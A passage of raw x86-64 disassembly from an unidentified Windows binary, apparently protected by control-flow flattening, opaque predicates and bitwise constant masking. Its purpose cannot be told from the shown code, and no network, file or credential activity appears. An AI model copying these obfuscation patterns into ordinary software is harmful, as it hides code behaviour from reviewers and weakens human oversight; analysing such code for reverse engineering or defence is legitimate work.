mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x16b4259f
and ebp, 0xe94bda60
or ebp, edi
or ecx, ebx
and ebx, 0x16b4259f
and edx, 0xe94bda60
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xa52f278e
and ecx, 0x5ad0d871
or ecx, edx
xor ecx, 0x5ad0d870
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x4214421a
and ecx, 0x802830e0
or ecx, edx
mov ebx, ecx
xor ebx, 0x80080020
xor ecx, 0x32964c0b
or ebp, 0xc23c72fa
mov edx, ebp
not edx
and ecx, 0x32b67ccb
and ebx, 0xc0080230
or ebx, ecx
and ebp, 0x32b67ccb
and edx, 0xd418104
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x2c3c0cab
and edx, 0xd3c3f354
or edx, ecx
mov ecx, edx
xor ecx, 0x14100ae
xor edx, 0xc002250
and edx, 0x1cbea350
and ecx, 0xe3415caf
or ecx, edx
mov edx, ecx
xor edx, 0xe1404c23
xor ecx, 0x14b02200
and ecx, 0x16b1328c
and edx, 0xe94ecd73
or edx, ecx
xor edx, 0x16b1328c
cmp edx, 0xffffffff
sete bl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
xor r8b, al
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, ecx
xor r8b, 1
and dl, bl
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov ebx, r8d
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, r8b
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0x99caf161
mov eax, 0xfcd91459
cmovne ecx, eax
test dl, 1
cmovne ecx, eax
not bl
test bl, 1
mov eax, 0x99caf161
jmp 0x1400cc8d4
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x8dc3df13
and ecx, edx
and edx, 0x723c20ec
or edx, ebp
mov ebp, edx
xor ebp, 0x100020e8
xor edx, 0x8dc3df13
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x6fbe4805
and ebp, 0x9041b7fa
or ebp, edi
or edx, ebx
and ebx, 0x6fbe4805
and ecx, 0x9041b7fa
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x338cd9d3
and edx, 0xcc73262c
or edx, ecx
mov ecx, edx
xor ecx, 0xcc73262c
xor edx, 0x338cd9d3
mov edi, edx
or edi, 0x65d7c0c3
mov esi, edi
not esi
or ebp, 0x9a283f3c
mov ebx, ebp
not ebx
and edi, 0x91ceaf1b
and esi, 0xa201024
or esi, edi
and ebp, 0x91ceaf1b
and ebx, 0x641140c0
or ebx, ebp
xor ebx, esi
mov ebp, ebx
not ebp
and ebp, 0xd20d967e
and ebx, 0x2df26981
or ebx, ebp
xor ebx, 0xb7da56bc
and edx, 0x54856f37
mov ebp, ecx
and ebp, 0xab7a90c8
or ebp, edx
xor ebp, 0x54856f36
and ecx, 1
or ecx, ebp
not ecx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x31022023
mov ebp, ecx
and ebp, 0x2e48a40
or ebp, edx
xor ebp, 0x2e48a40
and ecx, 0xcc19559c
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xcc19559c
and ecx, 0x33e6aa63
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf7392676
and ecx, 0x8c6d989
or ecx, edx
mov edx, ecx
xor edx, 0x8040181
xor ecx, 0x27312076
and ecx, 0x27f3f87e
and edx, 0xd80c0781
or edx, ecx
mov ecx, edx
xor ecx, 0x22235064
xor edx, 0x980c0680
and edx, 0x9ddcae9a
and ecx, 0x62235165
or ecx, edx
xor ecx, 0x62235165
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
mov eax, ebx
xor al, dl
xor al, 1
or bl, al
and al, dl
xor dl, cl
and dl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, ebx
xor cl, dl
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x113ce863
mov ebp, 0x9c8f82d7
cmovne ecx, ebp
test dl, dl
cmovne ecx, ebp
not al
test al, 1
mov eax, 0x113ce863
jmp 0x1400cc8d4
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
or ebp, 0x8a45da3d
mov ebx, ebp
not ebx
or edx, 0x35a805c2
and edx, 0x37ed8df3
and ecx, 0x8800520c
or ecx, edx
and ebp, 0x37ed8df3
and ebx, 0x40122000
or ebx, ebp
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x75ba25c2
and ebx, 0x8a45da3d
or ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xf3419788
mov edx, ebx
xor edx, 0xf3419788
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xa22d94c6
and edx, 0x5dd26b39
or edx, ebp
xor edx, 0xae93fcb0
and ebx, 0x125fab9a
mov ebp, ecx
and ebp, 0xeda05465
or ebp, ebx
xor ebp, 0x125fab9b
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x8d200642
and ecx, 0x72dff9bd
or ecx, edx
mov edx, ecx
xor edx, 0x30dbd18c
xor ecx, 0x85200400
and ecx, 0xc7242c31
and edx, 0x38dbd3ce
or edx, ecx
mov ecx, edx
xor ecx, 0x38030108
xor edx, 0x3040830
and edx, 0x3dcdaf6
and ecx, 0xfc232509
or ecx, edx
xor ecx, 0xfc232509
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov r10d, ecx
mov ebx, r9d
xor bl, cl
or cl, r9b
and r9b, dl
and r10b, r8b
or r10b, r9b
xor bl, 1
xor dl, r8b
xor cl, 1
or cl, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r10d
xor dl, 1
and dl, cl
xor cl, 1
mov eax, r10d
xor al, cl
and al, r10b
and cl, r10b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xfcd91459
mov ebp, 0x66e9ab5
cmovne edx, ebp
test cl, cl
mov ecx, edx
cmovne ecx, ebp
test al, al
jmp 0x1400cc122
mov ecx, 0xee310893
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x47be8bc2
mov ecx, ebp
and ecx, 0xb841743c
or ecx, ebx
mov ebx, ecx
xor ebx, 0x38403020
xor ecx, 0x47be8bc3
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov esi, edx
not esi
mov eax, ecx
and eax, 0xc69f4c9d
and ebx, 0x3960b362
or ebx, eax
or ecx, esi
and esi, 0xc69f4c9d
and edx, 0x3960b362
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and edi, 0x346b2d76
and ebp, 0xcb94d289
or ebp, edi
mov edx, ebp
xor edx, 0x40101080
xor ebp, 0x346b2d76
mov ebx, ecx
and ebx, 0xbf8ee329
and eax, 0x40711cd6
or eax, ebx
or ecx, ebp
and ebp, 0xbf8ee329
and edx, 0x40711cd6
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x922d94ed
and ecx, 0x6dd26b12
or ecx, eax
xor ecx, 0x6dd26b12
sete al
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and cl, bl
and dl, al
or dl, cl
mov ecx, edx
xor cl, bl
and cl, dl
xor bl, al
mov eax, ebx
not al
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
and cl, al
or bl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0xff50144e
mov ebp, 0x9a6ec955
cmovne ecx, ebp
test dl, dl
mov edx, 0xff50144e
cmove ecx, edx
test al, al
jmp 0x1400cbfca
mov ecx, dword [0x140265728]
mov r9d, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x3b0c5327
and edx, ebp
not ebp
and ebp, 0x3b0c5327
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7a7f449a
and edx, 0x8580bb65
or edx, ecx
mov ebx, edx
xor ebx, 0x9a88a040
xor edx, 0x417317bd
mov ecx, edx
and ecx, 0x252749be
and ebx, 0xdad8b641
or ebx, ecx
mov ecx, ebx
xor ecx, 0xdad8b641
xor ebx, 0x252749be
mov ebp, ebx
or ebp, 0xcd8e6faa
mov esi, ebp
not esi
or edx, 0x32719055
mov edi, edx
not edi
and ebp, 0x1365c32
and esi, 0x32418045
or esi, ebp
and edx, 0x1365c32
and edi, 0xcc882388
or edi, edx
xor edi, esi
mov edx, edi
not edx
and edx, 0xcd8e6fab
and edi, 0x32719054
or edi, edx
and ebx, 0x7950743e
mov edx, ecx
and edx, 0x86af8bc1
or edx, ebx
xor edx, 0x7950743f
and ecx, 1
or ecx, edx
not ecx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6f479ba3
and edx, ecx
and ecx, 0x90b8645c
or ecx, ebp
xor ecx, 0x90b8645c
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe9df976c
and ecx, 0x16206893
or ecx, edx
mov edx, ecx
xor edx, 0x12004893
xor ecx, 0x49cb124c
and ecx, 0x4deb324c
and edx, 0xb214cdb3
or edx, ecx
xor edx, 0x4deb324c
cmp edx, 0xffffffff
sete al
setne r8b
cmp r9d, 0xa
setl dl
cmp r9d, 9
setg bl
xor r8b, bl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
and cl, al
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r8b
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xb216925f
mov ebp, 0x12acea70
cmovne ecx, ebp
test dl, 1
mov eax, 0xb216925f
cmovne ecx, eax
test bl, 1
jmp 0x1400ca5cc
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5fadddbf
and edx, 0xa0522240
or edx, ecx
mov ecx, edx
xor ecx, 0x402200
xor edx, 0x92cd51d
and edx, 0xa93ed55d
and ecx, 0x56c12aa2
or ecx, edx
mov edx, ecx
xor edx, 0xa93ed55d
mov ebp, ecx
xor ebp, 0xa93ed55c
and ebp, edx
xor ecx, 0x56c12aa2
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
sete r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, r8d
xor al, cl
xor cl, r9b
and cl, r9b
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
xor dl, 1
or bl, cl
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, r8d
xor cl, bl
mov edx, ecx
and dl, r8b
and cl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
or r9b, r8b
xor r9b, 1
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xb6aa5196
mov eax, 0x2e16b319
cmovne ecx, eax
test bl, 1
mov ebp, 0xb6aa5196
cmovne ecx, ebp
jmp 0x1400cc68f
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x52e35ff9
and ecx, eax
and eax, 0xad1ca006
or eax, edx
xor eax, 0xad1ca006
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0x9f777652
and eax, 0x608889ad
or eax, edx
mov edx, eax
xor edx, 0x880824
xor eax, 0x9f777653
mov ebx, ecx
and ebx, 0xf801a3c8
and ebp, 0x7fe5c36
or ebp, ebx
or ecx, eax
and eax, 0xf801a3c8
and edx, 0x7fe5c37
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x3372b6bb
and eax, 0xcc8d4944
or eax, ecx
xor eax, 0x3372b6bb
setne al
cmp dword [0x140265724], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x8c66933d
mov ebp, 0xca0805a9
cmovne eax, ebp
test cl, cl
cmovne eax, ebp
test dl, dl
mov ecx, 0x8c66933d
cmovne eax, ecx
mov ecx, eax
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x8dac83f3
and edx, 0x72537c0c
or edx, ebp
mov ebp, edx
xor ebp, 0xd808091
xor edx, 0x72537c0c
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0xd06c1f62
and ebp, 0x2f93e09d
or ebp, edx
mov edx, ebp
xor edx, 0x26100004
xor ebp, 0xd06c1f63
mov edi, ecx
and edi, 0x598bffd8
and ebx, 0xa6740026
or ebx, edi
or ecx, ebp
and ebp, 0x598bffd8
and edx, 0xa6740027
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5ca8f7ce
and ebp, 0xa3570831
or ebp, edi
or ecx, ebx
and ebx, 0x5ca8f7ce
and edx, 0xa3570831
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xabcab685
and ecx, 0x5435497a
or ecx, ebp
xor ecx, 0x5435497a
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x54a66710
mov ebp, 0x8b468a20
cmovne edx, ebp
test cl, 1
mov ecx, 0x54a66710
cmovne ecx, edx
test al, 1
jmp 0x1400cc122
mov ecx, 0xb0ec89f1
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x1556ceda
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x35beb37b
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x50255f52
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x9877bc68
and edx, 0x67884397
or edx, ebp
mov ecx, edx
xor ecx, 0x9877bc68
mov ebp, edx
xor ebp, 0x9877bc69
and ebp, ecx
xor edx, 0x21884113
and edx, 0x31aa5553
and ecx, 0xce55aaac
or ecx, edx
xor ecx, 0xce55aaad
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x14273
and ecx, 0x804c1108
or ecx, edx
mov ebx, ecx
xor ebx, 0x804c0100
xor ecx, 0x312126e1
or ebp, 0x804d537b
mov edx, ebp
not edx
and ecx, 0x312136e9
and ebx, 0x804c4112
or ebx, ecx
and ebp, 0x312136e9
and edx, 0x4e928804
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x7fb2ac84
and edx, 0x804d537b
or edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and r8b, al
and al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x32523743
mov ebp, 0x3b20bc8d
cmovne ecx, ebp
test dl, dl
mov edx, 0x32523743
cmove ecx, edx
test al, 1
cmovne ecx, ebp
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x2655a68
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov eax, dword [0x140265728]
mov ecx, dword [0x140265724]
lea edx, [rax - 1]
imul edx, eax
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x94ec884e
mov ebx, edx
and ebx, 0x22100620
or ebx, eax
xor ebx, 0x22100620
and edx, 0x49037191
or edx, ebx
mov eax, edx
not eax
and eax, 0x3517ac95
and edx, 0xcae8536a
or edx, eax
mov eax, edx
xor eax, 0x18048100
xor edx, 0x83e222d0
and edx, 0xe7f27ed5
and eax, 0x180d812a
or eax, edx
xor eax, 0x180d812a
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0x71bf0a25
and eax, 0x8e40f5da
or eax, edx
xor eax, 0x8e40f5da
setne al
sete r9b
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, r8b
and dl, cl
mov ebx, edx
xor bl, 1
or dl, bl
mov r10d, ebx
xor r10b, dl
or dl, bl
xor dl, 1
or dl, r10b
xor dl, 1
mov ebx, edx
xor bl, r9b
not bl
and bl, r9b
or dl, r9b
xor bl, 1
mov r10d, ebx
xor r10b, dl
or bl, dl
xor bl, 1
or bl, r10b
and r8b, r9b
and al, cl
or al, r8b
mov edx, ecx
and dl, r9b
xor cl, r9b
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test cl, 1
mov edx, 0xae331c37
mov ecx, 0x1b5ea608
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0xae331c37
cmovne ecx, eax
test bl, 1
cmove ecx, edx
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x2158c52
mov edx, ebp
and edx, 0x55200205
or edx, ebx
mov ebx, edx
xor ebx, 0x11200000
xor edx, 0xaadffdfa
mov ecx, ebp
xor ecx, 0x57358e57
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0x469a9315
and ebx, 0x11250c42
or ebx, eax
or edx, esi
and esi, 0x469a9315
and ecx, 0xb9656cea
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xfa0c22bb
and edx, 0x5f3dd44
or edx, eax
mov eax, edx
xor eax, 0x52c65312
and edi, 0x3a1fef3b
and ebp, 0xc5e010c4
or ebp, edi
mov ecx, ebp
xor ecx, 0xc5e010c4
xor edx, 0xad39aced
and ecx, edx
xor ebp, 0x3a1fef3b
and ebp, eax
or ebp, ecx
not ebp
or ebp, edx
cmp ebp, 0xffffffff
sete dl
setne bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl al
xor al, bl
mov ebx, eax
xor bl, cl
and bl, al
mov eax, ecx
xor al, dl
not al
and al, dl
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
not al
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r8d, eax
and r8b, bl
mov edx, ebx
xor dl, cl
or cl, bl
xor bl, 1
xor al, 1
and al, bl
or al, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x504a021
mov ebp, 0xdc99a6fe
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, 1
mov eax, 0x504a021
jmp 0x1400cc8d4
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xb1e5a71c
and edx, ecx
and ecx, 0x4e1a58e3
or ecx, ebp
xor ecx, 0x4e1a58e3
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x4e9ada74
and ebx, 0xb165258b
or ebx, edi
or edx, ebp
and ebp, 0x4e9ada74
and ecx, 0xb165258b
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0xdd9439db
and ecx, edx
not edx
and edx, 0xdd9439db
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x226bc624
and ecx, 0xdd9439db
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd5ea8f33
and ecx, 0x2a1570cc
or ecx, ebp
xor ecx, 0xd5ea8f33
xor edx, ecx
test edx, ecx
sete r9b
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov ebx, edx
xor bl, cl
and bl, dl
mov eax, ebx
xor al, 1
and al, r8b
and bl, r9b
or bl, al
mov eax, edx
xor al, r9b
and al, dl
xor cl, r9b
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor al, bl
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xcd1a8f77
mov ebp, 0x7b49079f
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0xcd1a8f77
cmove edx, eax
mov ecx, edx
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x2e24d81
mov ecx, ebp
and ecx, 0x7008b066
or ecx, edx
xor ecx, 0x7008b066
mov edx, ebp
xor edx, 0x72eafde7
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x8d150219
and edx, 0x72eafde6
or edx, ecx
and ebx, 0xc69f3c2a
and ebp, 0x3960c3d5
or ebp, ebx
mov ecx, ebp
xor ecx, 0x10600301
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xad84ccd4
and edx, 0x527b332b
or edx, edi
xor ebp, 0x84840c00
and ebp, 0xad84ccd4
and ecx, 0x527b332b
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete r9b
setne cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov ebx, ecx
xor bl, r9b
and bl, cl
mov r10d, r9d
xor r10b, al
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
and dl, al
xor cl, 1
and cl, r8b
or cl, dl
and al, r9b
or al, r10b
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xc48bcf46
mov ebp, 0xa4d2558a
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xc48bcf46
cmovne ecx, ebp
test dl, 1
cmovne ecx, eax
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x7a310c60
and edx, 0x85cef39f
or edx, ecx
mov ecx, edx
xor ecx, 0x85cef39f
mov edi, edx
xor edi, 0x4cf2944a
and edi, ecx
or esi, 0x36c3982a
mov ebp, esi
not ebp
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x3d199b20
and edi, 0xc2e664df
or edi, eax
or ebx, esi
and esi, 0x3d199b20
and ebp, 0xc02464d5
or ebp, esi
xor ebp, edi
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0xb8be7573
and ebx, 0x47418a8c
or ebx, eax
xor ebx, 0x718212a7
xor edx, 0x70300040
and edx, 0xf57e01dd
mov eax, ecx
and eax, 0xa81fe22
or eax, edx
xor eax, 0xf57e01dc
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x944af047
and ecx, 0x6bb50fb8
or ecx, eax
xor ecx, 0x6bb50fb8
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x859756eb
and ecx, 0x7a68a914
or ecx, edx
xor ecx, 0x859756eb
xor eax, ecx
test eax, ecx
setne cl
sete bl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl al
mov r9d, eax
xor r9b, bl
mov r8d, r9d
xor r8b, 1
and cl, al
or al, bl
and dl, bl
or dl, cl
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, r9d
and bl, r8b
mov edx, ebx
xor dl, 1
xor bl, r9b
or dl, r8b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
and dl, al
or dl, bl
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x220bd973
mov ebp, 0x7b49079f
cmovne eax, ebp
test cl, 1
mov ecx, 0x220bd973
cmovne ecx, eax
test dl, 1
jmp 0x1400cc8d4
mov rax, qword [rsp + 0x38]
mov qword [0x140265060], rax
mov ecx, 0x190eded8
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x3a5a2dd0
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xbd723184
and ebx, 0x428dce7b
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x60be482d
and ebx, 0x9f41b7d2
or ebx, ecx
mov edx, ebx
xor edx, 0x22338656
mov ecx, ebx
xor ecx, 0xc1c421a1
and ecx, 0xe1f6a5b7
xor ebx, 0xacb77d0f
and ebx, edx
and edx, 0x1e095a48
or edx, ecx
mov ecx, edx
xor ecx, 0x8084a111
or ecx, 0x717b04a6
mov ebp, ecx
not ebp
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x2a62b8ff
and ebp, 0x84844300
or ebp, esi
or ecx, edi
and edi, 0x2a62b8ff
and ebx, 0xd59d4700
or ebx, edi
xor ebx, ebp
not ecx
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x1988699e
and ecx, 0xe6779661
or ecx, ebp
mov ebx, ecx
xor ebx, 0x68736429
mov ebp, edx
and ebp, 1
xor edx, 0x1e095a49
or edx, ebp
mov ebp, edx
